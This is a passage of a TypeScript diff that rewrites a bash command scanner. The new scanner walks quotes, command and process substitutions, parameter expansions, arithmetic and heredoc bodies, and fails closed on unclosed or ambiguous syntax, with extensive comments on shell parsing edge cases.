+		// bare `<<`, or `<<` followed only by blanks, before end of line. bash
+		// rejects such input with a syntax error and never executes it. The
+		// opener therefore masks through end of input as one opaque word, over a
+		// construct that can never run. The mask is sound only while both read
+		// layers see the same bytes. The region test at the mask-emission guard
+		// above fails the mask closed when a CR enters the span. This
+		// over-rejects the CR-touched shapes whose layers happen to agree. That
+		// is the accepted cost of keeping one region rule.
+		return emitMask(text.length)
+	}
 
-		// ANSI-C quoting: $'...', escape-aware.
-		if (char === "$" && command[i + 1] === "'") {
-			const start = i
-			i += 2 // skip $'
-			let closed = false
-			while (i < command.length) {
-				if (command[i] === "\\") {
-					i += 2 // skip escaped char
-				} else if (command[i] === "'") {
-					i++ // consume closing '
-					closed = true
-					break
-				} else {
+	/**
+	 * Walk the heredoc body region `[start, end)`. Collect the command
+	 * substitutions that the shell would expand there.
+	 *
+	 * Outside an expansion region, this walk tracks only the expansion
+	 * delimiters and backslash escapes. A heredoc body is not tokenized, so a
+	 * `"` or `#` in the body is literal text. Inside an expansion region the
+	 * shell does tokenize. A quote there opens a region exactly as the main
+	 * scan treats it. The region masks the frame's closer and the group tests.
+	 * A region still open at the end of the body fails closed, like any other
+	 * unclosed delimiter. A word-initial `#` begins a comment, and the shell
+	 * skips it to end of line. A closer with no opener inside the body is
+	 * literal data, and the shell prints it. A delimiter still open when the
+	 * terminator line is reached is a structural error. The shell would never
+	 * finish expanding the body, so whatever follows it is unaccountable.
+	 *
+	 * `depth` bounds the recursion through nested `$((…))` interiors. Beyond
+	 * `MAX_PAYLOAD_SCAN_DEPTH`, the region fails closed instead of recursing
+	 * into generated input.
+	 *
+	 * `maskTopLevelQuotes` marks the region as an opener-line remainder rather
+	 * than a body: bash tokenizes the remainder, so a balanced top-level
+	 * `'…'` span there undergoes quote removal and executes nothing inside it.
+	 * A `"` tracks the double-quote state because a single quote inside a
+	 * double-quoted word is literal while the word still expands. An unquoted
+	 * `'` whose pair lies outside the region stays a literal character: bash
+	 * carries it across the newline, and the residual-quote guard in
+	 * `skipHeredoc` accounts for that shape. Bodies keep `'` literal: a heredoc
+	 * body is not tokenized, so `'` there is data that cannot hide a payload.
+	 */
+	const walkBodyPayloads = (
+		start: number,
+		end: number,
+		collect: string[],
+		depth: number,
+		maskTopLevelQuotes = false,
+	): UnterminatedQuote | null => {
+		if (depth > MAX_PAYLOAD_SCAN_DEPTH) {
+			return errorAt("nesting-too-deep", start)
+		}
+		const frames: RegionFrame[] = []
+		let dqOpen = false
+		// Index just past the most recent non-group frame close in this walk,
+		// or -1. The shell ends an expansion at its closer but not the
+		// surrounding word, so a `#` directly there continues the word instead
+		// of starting a comment. A group-paren closer is a word boundary, so
+		// the group path never sets this index.
+		// Stryker disable next-line UnaryOperator: every walk starts at or past index 2 and frame content starts later still, so the sentinel `+1` can never equal the scan index at a frame-comment position, and no reachable input distinguishes it from `-1`.
+		let frameCloseEnd = -1
+		// Index just past the most recent ordinary `\c` escape pair consumed
+		// inside a frame, or -1. The escaped character is word content to the
+		// shell, so a `#` directly after the pair continues the word even when
+		// the escaped character is a blank. A backslash-newline pair is
+		// excluded: the shell removes it before tokenizing, leaving no word
+		// content, so the frame comment rule decides a `#` after it against the
+		// logical boundary instead.
+		// Stryker disable next-line NumberLiteral,UnaryOperator: the replacements for this -1 sentinel (0, 1, +1) can never equal the scan index at a frame-comment position — frame content starts past index 2 — so no reachable input distinguishes them from `-1`.
+		let frameEscapeEnd = -1
+		let i = start
+		while (i < end) {
+			const char = text[i]
+			const top = frames[frames.length - 1]
+			if (top) {
+				if (top.escaped && char === "\\") {
+					// A backslash-newline pair is removed by the shell before
+					// tokenizing, so recording it as a word-continuation end
+					// would exempt a `#` that follows from the comment rule and
+					// hide a comment that swallows the frame closer. Byte
+					// consumption is identical either way.
+					if (text[i + 1] !== "\n") {
+						frameEscapeEnd = i + 2
+					}
+					i += 2
+					continue
+				}
+				// A `#` at the start of a word inside a `$(…)`/`<(` frame
+				// begins a comment. The shell skips the comment to end of line.
+				// Body regions span lines, so the comment ends at the newline,
+				// not at the frame's end. A `)` inside the comment never closes
+				// the frame, and the continuation lines stay inside the same
+				// substitution. Quote and backtick frames keep `#` literal.
+				// Their regions reach this test too. Parameter expansions also
+				// keep it literal: `${#var}` is the length operator. Only
+				// substitution frames take the comment. The word-boundary set
+				// is the default $IFS blanks plus the metacharacters that end
+				// a word. A missed comment lets its `)` slice the payload, so
+				// the boundary must be exact. Directly at `frameCloseEnd` the
+				// word also continues: a closer that popped a nested frame ends
+				// the expansion, not the word. Directly at `frameEscapeEnd` it
+				// continues too: the escaped character — a blank included — is
+				// word content, so the raw blank before the `#` is not a real
+				// word boundary. The boundary byte is the one the shell sees,
+				// so backslash-newline continuations are walked over first.
+				if (
+					char === "#" &&
+					(top.kind === "command-substitution" || top.kind === "process-substitution") &&
+					i !== frameCloseEnd &&
+					i !== frameEscapeEnd &&
+					logicalWordBoundaryBefore(text, i)
+				) {
+					// Clamp at the region end. A comment that runs past it
+					// leaves the frame open, and the still-open frame fails
+					// closed.
+					i = Math.min(endOfLine(i), end)
+					continue
+				}
+				if (char === top.closer) {
+					if (top.groupDepth > 0) {
+						// This closer matches an inner grouping paren that
+						// opened inside the region. It does not match the
+						// region's own opener.
+						top.groupDepth--
+						i++
+						continue
+					}
+					const closed = frames.pop() as RegionFrame
+					frameCloseEnd = i + 1
+					if (QUOTE_FRAME_KINDS.includes(closed.kind)) {
+						// Quote regions are opaque. Nothing inside them is
+						// extracted. The enclosing frame resumes after the
+						// closing quote.
+						i++
+						continue
+					}
+					// One emission channel per payload, as in the main scan: a
+					// frame delivers only when a parameter expansion is its
+					// directly enclosing frame. A deeper close rides the
+					// enclosing chain's outermost slice and is recovered when
+					// that payload is re-scanned; pushing its slice here too
+					// would emit it twice. Slicing every close eagerly would
+					// also cost O(n²) on adversarial nesting.
+					if (closed.kind === "parameter-expansion") {
+						const parent = frames[frames.length - 1]
+						if (frames.length === 0) {
+							collect.push(...(closed.payloads ?? []))
+						} else {
+							// Stryker disable next-line ArrayDeclaration: a closed parameter-expansion frame always carries a payload list, so the empty-coalesce default has no reachable reader.
+							parent.payloads?.push(...(closed.payloads ?? []))
+						}
+					} else {
+						const parent = frames[frames.length - 1]
+						if (frames.length === 0) {
+							collect.push(trimScanBlanks(text.slice(closed.contentStart, i)))
+						} else {
+							parent.payloads?.push(trimScanBlanks(text.slice(closed.contentStart, i)))
+						}
+					}
+					i++
+					continue
+				}
+				// A quote frame is opaque except for its own closer and its
+				// escapes. A backtick region is opaque except for its closer.
+				// Backticks do not nest. Only expansion frames descend for
+				// nested constructs.
+				if (QUOTE_FRAME_KINDS.includes(top.kind) || top.kind === "backtick") {
 					i++
+					continue
+				}
+				// A bare `(` inside a substitution region opens a subshell
+				// group. The shell balances that group independently of the
+				// region's closer. Only its depth matters here, so the group's
+				// `)` cannot slice the payload.
+				if ((top.kind === "command-substitution" || top.kind === "process-substitution") && char === "(") {
+					top.groupDepth++
+					i++
+					continue
+				}
+				// Inside an expansion frame, a quote is shell syntax, not body
+				// text. The region it opens masks everything up to its closer.
+				// A `)` or `(` inside quotes is therefore neither a closer nor
+				// a group-opener. An unclosed region fails at the end of the
+				// walk, like any other unclosed frame.
+				const nestedQuote = openQuote(i)
+				if (nestedQuote) {
+					frames.push(nestedQuote)
+					i = nestedQuote.contentStart
+					continue
 				}
 			}
-			if (!closed) {
-				return {
-					spans,
-					unterminatedQuote: {
-						quoteType: "ansi-c",
-						openIndex: start,
-						message: unterminatedQuoteMessage("ansi-c", start, command),
-					},
+			if (char === "\\") {
+				i += 2
+				continue
+			}
+			if (maskTopLevelQuotes) {
+				if (char === '"') {
+					dqOpen = !dqOpen
+					i++
+					continue
+				}
+				if (char === "$" && !dqOpen && text[i + 1] === "'") {
+					// An ANSI-C word is opaque to its first unescaped `'`, like
+					// `openQuote`'s `ansi-c` kind: its `\'` escapes, so pairing
+					// raw quote bytes would end the word early and re-read the
+					// bytes bash keeps inside it, or (reversed) swallow the live
+					// bytes after it. An unterminated region is bash's own
+					// syntax error: the shell reads one word to end of input
+					// and expands nothing there, so the rest of the region
+					// carries no payload.
+					let k = i + 2
+					while (k < end) {
+						if (text[k] === "\\") {
+							k += 2
+							continue
+						}
+						if (text[k] === "'") {
+							break
+						}
+						k++
+					}
+					i = k < end ? k + 1 : end
+					continue
+				}
+				if (char === "'" && !dqOpen) {
+					const close = text.indexOf("'", i + 1)
+					if (close !== -1 && close < end) {
+						i = close + 1
+						continue
+					}
 				}
 			}
-			spans.push({ start, end: i, quoteType: "ansi-c" })
-			continue
+			if (char === "`") {
+				frames.push({
+					kind: "backtick",
+					openIndex: i,
+					closer: "`",
+					contentStart: i + 1,
+					escaped: true,
+					groupDepth: 0,
+					payloads: null,
+				})
+				i++
+				continue
+			}
+			if (char === "$") {
+				const arm = openerContinuationRunEnd(text, i + 1)
+				if (text[arm] === "(") {
+					// skipArithmetic reads the `$((` bytes as adjacent, so the
+					// arithmetic arm stays at raw adjacency. A `$` the join
+					// brings to a `(` followed by another `(` takes the
+					// command-substitution push below instead, where the loop
+					// re-reads the second `(` as a group paren.
+					if (text[i + 2] === "(") {
+						const arith = skipArithmetic(i)
+						if (arith.commandSubstitution) {
+							// bash reads this opener as `$(` plus a group, not
+							// arithmetic. The loop re-reads the group's `(` as
+							// a group paren, like the adjacent `$(` push.
+							frames.push({
+								kind: "command-substitution",
+								openIndex: i,
+								closer: ")",
+								contentStart: i + 2,
+								escaped: true,
+								groupDepth: 0,
+								payloads: null,
+							})
+							i += 2
+							continue
+						}
+						// An unclosed opener fails closed. The shell refuses the
+						// input, and masking the rest of the body would hide it.
+						if (!arith.closed) {
+							return errorAt("arithmetic", i)
+						}
+						// $((…)) is expansion-active. The shell performs the
+						// substitutions inside it, so they must balance and be
+						// collected.
+						const arithError = walkBodyPayloads(i + 3, arith.end - 2, collect, depth + 1)
+						if (arithError) {
+							return arithError
+						}
+						frameCloseEnd = arith.end
+						i = arith.end
+						continue
+					}
+					frames.push({
+						kind: "command-substitution",
+						openIndex: i,
+						closer: ")",
+						contentStart: arm + 1,
+						escaped: true,
+						groupDepth: 0,
+						payloads: null,
+					})
+					i = arm + 1
+					continue
+				}
+				if (text[arm] === "{") {
+					if (openerRunCarriesCR(text, i + 1, arm)) {
+						// A carriage return inside the continuation leaves the
+						// joined `${` ambiguous between read models of the
+						// executing shell. Masking the region could hide a
+						// brace group one model runs as separate live syntax,
+						// so this opener fails closed instead of masking.
+						return errorAt("ambiguous-opener", i)
+					}
+					frames.push({
+						kind: "parameter-expansion",
+						openIndex: i,
+						closer: "}",
+						// Stryker disable next-line ArithmeticOperator: a parameter-expansion frame's close routes payloads through its payload list and its host text slices from the opener, so this content start has no reader and no emitted byte can differ.
+						contentStart: arm + 1,
+						escaped: true,
+						groupDepth: 0,
+						payloads: [],
+					})
+					i = arm + 1
+					continue
+				}
+				if (text[i + 1] === "[") {
+					const arith = skipArithmetic(i)
+					// An unclosed opener fails closed. The shell refuses the
+					// input, and masking the rest of the body would hide it.
+					if (!arith.closed) {
+						return errorAt("arithmetic", i)
+					}
+					// $[…] is expansion-active, exactly like $((…)). The shell
+					// performs the substitutions inside it, so they must balance
+					// and be collected.
+					const arithError = walkBodyPayloads(i + 2, arith.end - 1, collect, depth + 1)
+					if (arithError) {
+						return arithError
+					}
+					i = arith.end
+					continue
+				}
+				i++
+				continue
+			}
+			if (char === "<" || char === ">") {
+				const psArm = openerContinuationRunEnd(text, i + 1)
+				if (text[psArm] === "(") {
+					frames.push({
+						kind: "process-substitution",
+						openIndex: i,
+						closer: ")",
+						contentStart: psArm + 1,
+						escaped: true,
+						groupDepth: 0,
+						payloads: null,
+					})
+					i = psArm + 1
+					continue
+				}
+			}
+			i++
+		}
+		if (frames.length > 0) {
+			// Report the outermost unclosed delimiter. It is the first construct
+			// the shell could never finish expanding.
+			const outermost = frames[0]
+			return errorAt(outermost.kind, outermost.openIndex)
 		}
+		return null
+	}
 
-		// Locale quoting: $"...", escape-aware like double quotes.
-		if (char === "$" && command[i + 1] === '"') {
-			const start = i
-			i += 2 // skip $"
-			let closed = false
-			while (i < command.length) {
-				if (command[i] === "\\") {
-					i += 2 // skip escaped char
-				} else if (command[i] === '"') {
-					i++ // consume closing "
-					closed = true
-					break
-				} else {
-					i++
+	/**
+	 * Index after the region of shell syntax that opens at `i`, `INERT_UNCLOSED`
+	 * when a region opens there but never closes, or null when no region opens
+	 * there. The regions counted here are inert to a delimiter scan: the shell
+	 * reads each interior with its own matching rules, so none can contain the
+	 * enclosing scan's closer. Quotes follow `openQuote`'s escaping; a backtick
+	 * region ends at the next backtick and does not nest; a `${…}` body
+	 * balances nested `${…}` regions and treats bare parens as literal word
+	 * text; a `$(…)` body balances nested `${…}` regions and bare grouping
+	 * parens.
+	 *
+	 * `substitutionIsText` stops `$(` from opening a region. bash's legacy
+	 * `$[…]` arithmetic reader ends the expression at an unquoted `]` even
+	 * inside an open command substitution, so the `$[…]` closer scan must keep
+	 * seeing that byte. The input where the `]` is the substitution's own
+	 * closer is a shell error; skipping it lets the interior walk report the
+	 * still-open `$(`.
+	 *
+	 * A region still open at end of input is bash's own unclosed-delimiter
+	 * error: the shell reads every later byte inside that region, so the tail
+	 * holds no further region opener for an enclosing closer scan to find.
+	 * Reporting the case separately from "no region" lets that scan mask the
+	 * tail instead of re-running this walk from the next byte; conflating the
+	 * two readings rescans the whole tail once per byte.
+	 */
+	const skipInertRegion = (i: number, substitutionIsText = false): number | null => {
+		const quote = openQuote(i)
+		const dollarNext = text[i] === "$" ? text[i + 1] : ""
+		if (quote === null && text[i] !== "`" && dollarNext !== "{" && !(dollarNext === "(" && !substitutionIsText)) {
+			return null
+		}
+		// One open region. `opaque` regions read only their closer; inside the
+		// others, nested regions still open. `groups` marks a command-context
+		// region, where a bare `(` opens a subshell group the shell balances
+		// before the region's own closer.
+		const frames: { closer: string; escaped: boolean; opaque: boolean; groups: boolean }[] = []
+		let j = i
+		if (quote) {
+			frames.push({ closer: quote.closer, escaped: quote.escaped, opaque: true, groups: false })
+			j = quote.contentStart
+		} else if (text[i] === "`") {
+			frames.push({ closer: "`", escaped: true, opaque: true, groups: false })
+			j++
+		} else if (dollarNext === "{") {
+			frames.push({ closer: "}", escaped: true, opaque: false, groups: false })
+			j += 2
+		} else {
+			frames.push({ closer: ")", escaped: true, opaque: false, groups: true })
+			j += 2
+		}
+		while (j < text.length && frames.length > 0) {
+			const top = frames[frames.length - 1]
+			const char = text[j]
+			if (top.escaped && char === "\\") {
+				j += 2
+				continue
+			}
+			if (char === top.closer) {
+				frames.pop()
+				j++
+				continue
+			}
+			// Quote and backtick regions are opaque except for their closer and
+			// their escapes. Backticks do not nest.
+			if (top.opaque) {
+				j++
+				continue
+			}
+			const nestedQuote = openQuote(j)
+			if (nestedQuote) {
+				frames.push({ closer: nestedQuote.closer, escaped: nestedQuote.escaped, opaque: true, groups: false })
+				j = nestedQuote.contentStart
+				continue
+			}
+			if (char === "`") {
+				frames.push({ closer: "`", escaped: true, opaque: true, groups: false })
+				j++
+				continue
+			}
+			if (char === "$" && text[j + 1] === "{") {
+				frames.push({ closer: "}", escaped: true, opaque: false, groups: false })
+				j += 2
+				continue
+			}
+			if (char === "$" && text[j + 1] === "(") {
+				frames.push({ closer: ")", escaped: true, opaque: false, groups: true })
+				j += 2
+				continue
+			}
+			if (char === "(" && top.groups) {
+				frames.push({ closer: ")", escaped: true, opaque: false, groups: true })
+				j++
+				continue
+			}
+			j++
+		}
+		return frames.length === 0 ? j : INERT_UNCLOSED
+	}
+
+	/**
+	 * Consume a `$((…))` or `$[…]` arithmetic expression. `closed` reports
+	 * whether the scan found the closing delimiter. Callers fail closed when
+	 * it is missing, because bash refuses an unclosed opener. The scan walks
+	 * only a closed expression's interior for expansions. `commandSubstitution`
+	 * marks a `$((` that bash does not read as arithmetic at all: arithmetic
+	 * syntax requires the two closers to be adjacent (`))`), so when the
+	 * depth-1 `)` is not immediately followed by another `)`, bash reads `$(`
+	 * plus a subshell group instead. Such callers must open a
+	 * command-substitution frame rather than mask the region as arithmetic.
+	 */
+	const skipArithmetic = (i: number): { end: number; closed: boolean; commandSubstitution?: boolean } => {
+		if (text[i + 1] === "[") {
+			// `$[…]` balances plain brackets: a subscript's `[` opens one the
+			// shell closes last-open-first, so the expression ends at the
+			// depth-zero `]`. Regions the shell reads with their own rules are
+			// inert here, exactly as in the `$((` loop below.
+			let depth = 1 // the opening bracket
+			let j = i + 2
+			// Set once the scan passes an unclosed frame-kind region (`$(`,
+			// `${`, backtick). The shell reads every later byte inside that
+			// region, so no later byte can open one: plain counting finishes
+			// the scan instead of re-walking the tail at each byte. An
+			// expression closed through such a masked tail still holds that
+			// opener in its interior, so the interior walk fails it closed.
+			// An unclosed quote is invisible to that walk, which reads a
+			// top-level quote as literal text, so it ends the expression
+			// unclosed at the opener instead — bash refuses that input too.
+			let maskedTail = false
+			while (j < text.length) {
+				const jumped = maskedTail ? null : skipInertRegion(j, true)
+				if (jumped === INERT_UNCLOSED) {
+					if (openQuote(j) !== null) {
+						// Stryker disable next-line ObjectLiteral: the callers only test `closed`'s falsiness on this path and fail closed immediately, never reading `end`, so an empty object emits the same error and host bytes.
+						return { end: text.length, closed: false }
+					}
+					maskedTail = true
+					j++
+					continue
+				}
+				if (jumped !== null) {
+					j = jumped
+					continue
+				}
+				if (text[j] === "[") {
+					depth++
+				} else if (text[j] === "]") {
+					depth--
+					if (depth === 0) {
+						return { end: j + 1, closed: true }
+					}
 				}
+				j++
 			}
-			if (!closed) {
-				return {
-					spans,
-					unterminatedQuote: {
-						quoteType: "locale",
-						openIndex: start,
-						message: unterminatedQuoteMessage("locale", start, command),
-					},
+			return { end: text.length, closed: false }
+		}
+		// $(( … )) balances plain parens. An unbalanced scan runs to end of input.
+		let depth = 2 // the two opening parens
+		let j = i + 3
+		// The `$[…]` loop's masked-tail rule applies here too, unclosed-quote
+		// split included: past an unclosed frame-kind region the shell opens
+		// nothing else, so plain counting keeps the scan linear without
+		// changing what the depth sees, while an unclosed quote ends the
+		// expression because the interior walk reads it as literal text.
+		let maskedTail = false
+		while (j < text.length && depth > 0) {
+			const jumped = maskedTail ? null : skipInertRegion(j)
+			if (jumped === INERT_UNCLOSED) {
+				if (openQuote(j) !== null) {
+					// Stryker disable next-line ObjectLiteral: the callers only test `closed`'s falsiness on this path and fail closed immediately, never reading `end`, so an empty object emits the same error and host bytes.
+					return { end: text.length, closed: false }
 				}
+				maskedTail = true
+				j++
+				continue
 			}
-			spans.push({ start, end: i, quoteType: "locale" })
-			continue
+			if (jumped !== null) {
+				j = jumped
+				continue
+			}
+			if (text[j] === "(") {
+				depth++
+			} else if (text[j] === ")") {
+				depth--
+				// Inside valid arithmetic the depth-1 `)` is by construction
+				// the first character of the `))` token. Anything else is a
+				// command substitution whose group closes at this `)`.
+				if (depth === 1 && text[j + 1] !== ")") {
+					return { end: i + 2, closed: false, commandSubstitution: true }
+				}
+			}
+			j++
+		}
+		return { end: j, closed: depth === 0 }
+	}
+
+	/** End index just past a `$name` or `$<special>` token at `i`, or null. */
+	const scanVariable = (i: number): number | null => {
+		const next = text[i + 1]
+		if (next === undefined) {
+			return null
+		}
+		if (isIdentStart(next)) {
+			let j = i + 1
+			while (j < text.length && isIdentChar(text[j])) {
+				j++
+			}
+			return j
+		}
+		if (SPECIAL_VAR_CHARS.includes(next)) {
+			return i + 2
+		}
+		return null
+	}
+
+	/** End index past a `2>&1`-style redirection at `i`, or null. */
+	const scanRedirection = (i: number): number | null => {
+		let j = i
+		if (text[j] === ">" && text[j + 1] === "&") {
+			j += 2
+			while (j < text.length && "0123456789".includes(text[j])) {
+				j++
+			}
+			return j
+		}
+		while (j < text.length && "0123456789".includes(text[j])) {
+			j++
 		}
+		if (j > i && text[j] === ">" && text[j + 1] === "&") {
+			j += 2
+			while (j < text.length && "0123456789".includes(text[j])) {
+				j++
+			}
+			return j
+		}
+		return null
+	}
 
-		// POSIX single quote: fully opaque, ends at the next literal '.
-		if (char === "'") {
-			const start = i
-			i++ // skip opening '
-			while (i < command.length && command[i] !== "'") {
+	let i = 0
+	while (i < text.length) {
+		const char = text[i]
+		const top = stack[stack.length - 1]
+
+		if (top) {
+			if (top.escaped && char === "\\") {
+				// A backslash-newline pair is removed by the shell before
+				// tokenizing, so recording it as a word-continuation end would
+				// exempt a `#` that follows from the comment rule and hide a
+				// comment that swallows the frame closer. Byte consumption is
+				// identical either way.
+				if (text[i + 1] !== "\n") {
+					frameEscapeEnd = i + 2
+				}
+				i += 2
+				continue
+			}
+			if (char === top.closer) {
+				if (top.groupDepth > 0) {
+					// This closer matches an inner grouping paren that opened
+					// inside the region. It does not match the region's own
+					// opener. The subshell group balances before the
+					// substitution frame does.
+					top.groupDepth--
+					i++
+					continue
+				}
+				const closeEnd = i + 1
+				const closed = stack.pop() as RegionFrame
+				if (closed.kind === "parameter-expansion") {
+					paramFramesOpen--
+				}
+				if (QUOTE_FRAME_KINDS.includes(closed.kind)) {
+					// Quote regions restore verbatim. At the top level they mask
+					// to a single opaque word, so their contents can never
+					// tokenize as syntax.
+					if (stack.length === 0) {
+						const id = outcome.quotes.push(text.slice(closed.openIndex, closeEnd)) - 1
+						outcome.host += mark(`Q${id}`)
+					}
+					i = closeEnd
+					continue
+				}
+				if (stack.length === 0) {
+					if (closed.kind === "parameter-expansion") {
+						// The expansion's text stays verbatim in the host segment.
+						// Its inner substitutions are extracted independently.
+						const id = outcome.params.push(text.slice(closed.openIndex, closeEnd)) - 1
+						outcome.paramPayloads[id] = closed.payloads ?? []
+						outcome.host += mark(`P${id}`)
+					} else {
+						const id = outcome.substitutions.push(trimScanBlanks(text.slice(closed.contentStart, i))) - 1
+						outcome.host += mark(`S${id}`)
+					}
+					expansionCloseEnd = closeEnd
+				} else {
+					// The frame is nested inside an open region. Its content
+					// reaches the segment list through one channel: when the
+					// enclosing chain's outermost member closes directly inside
+					// a parameter expansion, its text joins that expansion's
+					// payload list, and re-scanning that payload extracts every
+					// substitution nested anywhere beneath it. Delivering a
+					// deeper frame's slice as well would emit its content
+					// twice — once directly, once through the enclosing
+					// payload's re-scan — and slicing every close eagerly would
+					// cost O(n²) on adversarial nesting. So a frame delivers
+					// only when the expansion is its directly enclosing frame.
+					// A parameter-expansion frame carries its payload list
+					// rather than its text: an enclosing expansion restores its
+					// text verbatim and never re-scans it, so merging the list
+					// into the enclosing expansion is that list's only carrier.
+					frameCloseEnd = closeEnd
+					const parent = stack[stack.length - 1]
+					if (closed.kind === "parameter-expansion") {
+						// Stryker disable next-line ArrayDeclaration: a closed parameter-expansion frame always carries a payload list, so the empty-coalesce default has no reachable reader.
+						parent.payloads?.push(...(closed.payloads ?? []))
+					} else {
+						parent.payloads?.push(trimScanBlanks(text.slice(closed.contentStart, i)))
+					}
+				}
+				i = closeEnd
+				continue
+			}
+			// A quote frame is opaque except for its own closer and its
+			// escapes. A backtick region is opaque except for its closer.
+			// Backticks do not nest. Only expansion frames descend for nested
+			// constructs.
+			if (QUOTE_FRAME_KINDS.includes(top.kind) || top.kind === "backtick") {
+				i++
+				continue
+			}
+			// A `#` at the start of a word inside a `$(…)`/`<(` frame begins a
+			// comment. bash discards the comment bytes before parsing, so
+			// nothing after them on the line executes, and the comment runs to
+			// end of line, not to the frame's closer. A `$(` or `)` inside the
+			// comment therefore never opens or closes a frame. Quote and
+			// backtick frames keep `#` literal and are opaque before this
+			// point. A parameter expansion keeps it too: `${#var}` and
+			// `${x#pat}` are operator syntax. The word-boundary set is the
+			// body walk's rule: the default $IFS blanks plus the
+			// metacharacters that end a word, so a `#` glued to a word stays
+			// word text. Directly at `frameCloseEnd` the word continues as
+			// well: a closer that popped a nested frame ends the expansion,
+			// not the word. Directly at `frameEscapeEnd` it continues too: the
+			// escaped character — a blank included — is word content, so the
+			// raw blank before the `#` is not a real word boundary. The
+			// boundary byte is the one the shell sees, so backslash-newline
+			// continuations are walked over before the test.
+			if (
+				char === "#" &&
+				(top.kind === "command-substitution" || top.kind === "process-substitution") &&
+				i !== frameCloseEnd &&
+				i !== frameEscapeEnd &&
+				logicalWordBoundaryBefore(text, i)
+			) {
+				i = endOfLine(i)
+				continue
+			}
+			// A bare `(` inside a substitution region opens a subshell group.
+			// The shell balances that group independently of the region's
+			// closer. Tracking its depth keeps the group's `)` from popping the
+			// substitution frame. `(`/`)` inside a parameter expansion stay
+			// literal word characters.
+			if ((top.kind === "command-substitution" || top.kind === "process-substitution") && char === "(") {
+				top.groupDepth++
 				i++
+				continue
+			}
+			// Inside an expansion region, balance nested constructs and never
+			// emit host text. When the region closes, it is replaced by one
+			// placeholder.
+			const nestedQuote = openQuote(i)
+			if (nestedQuote) {
+				stack.push(nestedQuote)
+				i = nestedQuote.contentStart
+				continue
 			}
-			if (i >= command.length) {
-				// No closing quote found.
-				return {
-					spans,
-					unterminatedQuote: {
-						quoteType: "posix-single",
-						openIndex: start,
-						message: unterminatedQuoteMessage("posix-single", start, command),
-					},
+			if (char === "$") {
+				const arm = openerContinuationRunEnd(text, i + 1)
+				if (text[arm] === "(") {
+					// skipArithmetic reads the `$((` bytes as adjacent, so the
+					// arithmetic arm stays at raw adjacency. A `$` the join
+					// brings to a `(` followed by another `(` takes the
+					// command-substitution push below instead, where the loop
+					// re-reads the second `(` as a group paren.
+					if (text[i + 2] === "(") {
+						const arith = skipArithmetic(i)
+						if (arith.commandSubstitution) {
+							// bash reads this opener as `$(` plus a group, not
+							// arithmetic. The loop re-reads the group's `(` as
+							// a group paren, like the adjacent `$(` push.
+							stack.push({
+								kind: "command-substitution",
+								openIndex: i,
+								closer: ")",
+								contentStart: i + 2,
+								escaped: true,
+								groupDepth: 0,
+								payloads: null,
+							})
+							i += 2
+							continue
+						}
+						// Fail closed here instead of letting the outer region
+						// error at end of input. That would name the wrong
+						// opener and silently drop the arithmetic's interior
+						// payloads.
+						if (!arith.closed) {
+							outcome.error = errorAt("arithmetic", i)
+							return outcome
+						}
+						const arithPayloads: string[] = []
+						const arithError = walkBodyPayloads(i + 3, arith.end - 2, arithPayloads, 0)
+						if (arithError) {
+							outcome.error = arithError
+							return outcome
+						}
+						// The enclosing region is masked wholesale. Route the
+						// substitutions into the payload list only when the
+						// arithmetic sits directly inside an expansion: from any
+						// deeper frame the enclosing chain's delivered text
+						// re-scan re-enters this arithmetic and collects them
+						// there, so a push here would emit each twice.
+						if (stack[stack.length - 1] === innermostParam(stack, paramFramesOpen)) {
+							// Stryker disable next-line OptionalChaining: the guard just proved the innermost expansion exists and every expansion frame carries a payload list, so neither optional chain here can short-circuit on reachable input.
+							innermostParam(stack, paramFramesOpen)?.payloads?.push(...arithPayloads)
+						}
+						frameCloseEnd = arith.end
+						i = arith.end
+						continue
+					}
+					stack.push({
+						kind: "command-substitution",
+						openIndex: i,
+						closer: ")",
+						contentStart: arm + 1,
+						escaped: true,
+						groupDepth: 0,
+						payloads: null,
+					})
+					i = arm + 1
+					continue
+				}
+				if (text[arm] === "{") {
+					if (openerRunCarriesCR(text, i + 1, arm)) {
+						// Same fail-closed rule as the `{` arm of the body
+						// walk: a CR in the continuation makes the joined
+						// opener ambiguous, so the scan refuses the input
+						// instead of masking the region behind a frame.
+						outcome.error = errorAt("ambiguous-opener", i)
+						return outcome
+					}
+					stack.push({
+						kind: "parameter-expansion",
+						openIndex: i,
+						closer: "}",
+						// Stryker disable next-line ArithmeticOperator: a parameter-expansion frame's close routes payloads through its payload list and its host text slices from the opener, so this content start has no reader and no emitted byte can differ.
+						contentStart: arm + 1,
+						escaped: true,
+						groupDepth: 0,
+						payloads: [],
+					})
+					paramFramesOpen++
+					i = arm + 1
+					continue
+				}
+				i++
+				continue
+			}
+			if (char === "`") {
+				stack.push({
+					kind: "backtick",
+					openIndex: i,
+					closer: "`",
+					contentStart: i + 1,
+					escaped: true,
+					groupDepth: 0,
+					payloads: null,
+				})
+				i++
+				continue
+			}
+			if (char === "<" || char === ">") {
+				const psArm = openerContinuationRunEnd(text, i + 1)
+				if (text[psArm] === "(") {
+					stack.push({
+						kind: "process-substitution",
+						openIndex: i,
+						closer: ")",
+						contentStart: psArm + 1,
+						escaped: true,
+						groupDepth: 0,
+						payloads: null,
+					})
+					i = psArm + 1
+					continue
 				}
 			}
-			i++ // consume closing '
-			spans.push({ start, end: i, quoteType: "posix-single" })
+			// Inside a parameter expansion, bash reads `<<` as an arithmetic
+			// shift, or as literal word text. It never reads it as a heredoc
+			// opener. There, the scan consumes `<<` as an ordinary character.
+			// Only command-substitution and process-substitution frames reach
+			// the heredoc scan. The shell tokenizes those as command contexts,
+			// and a heredoc opened there is real. Quote and backtick frames are
+			// opaque before this point.
+			if (char === "<" && text[i + 1] === "<" && text[i + 2] === "<") {
+				// A herestring (<<<) is one operator, never a heredoc opener.
+				// Consume all three characters: stopping at the second `<`
+				// would pass the heredoc guard below and open a heredoc on the
+				// herestring word.
+				i += 3
+				continue
+			}
+			if (char === "<" && text[i + 1] === "<" && text[i + 2] !== "<" && top.kind !== "parameter-expansion") {
+				const result = skipHeredoc(i, stack)
+				if ("error" in result) {
+					outcome.error = result.error
+					return outcome
+				}
+				i = result.end
+				continue
+			}
+			i++
 			continue
 		}
 
-		// Double quote: escape-aware, ends at the next unescaped ".
-		if (char === '"') {
-			const start = i
-			i++ // skip opening "
-			let closed = false
-			while (i < command.length) {
-				if (command[i] === "\\") {
-					i += 2 // skip escaped char
-				} else if (command[i] === '"') {
-					i++ // consume closing "
-					closed = true
-					break
-				} else {
-					i++
+		// Nothing is open. Scan fully and emit host text.
+		if (char === "\\") {
+			// A backslash escapes the next character. A quote after it is
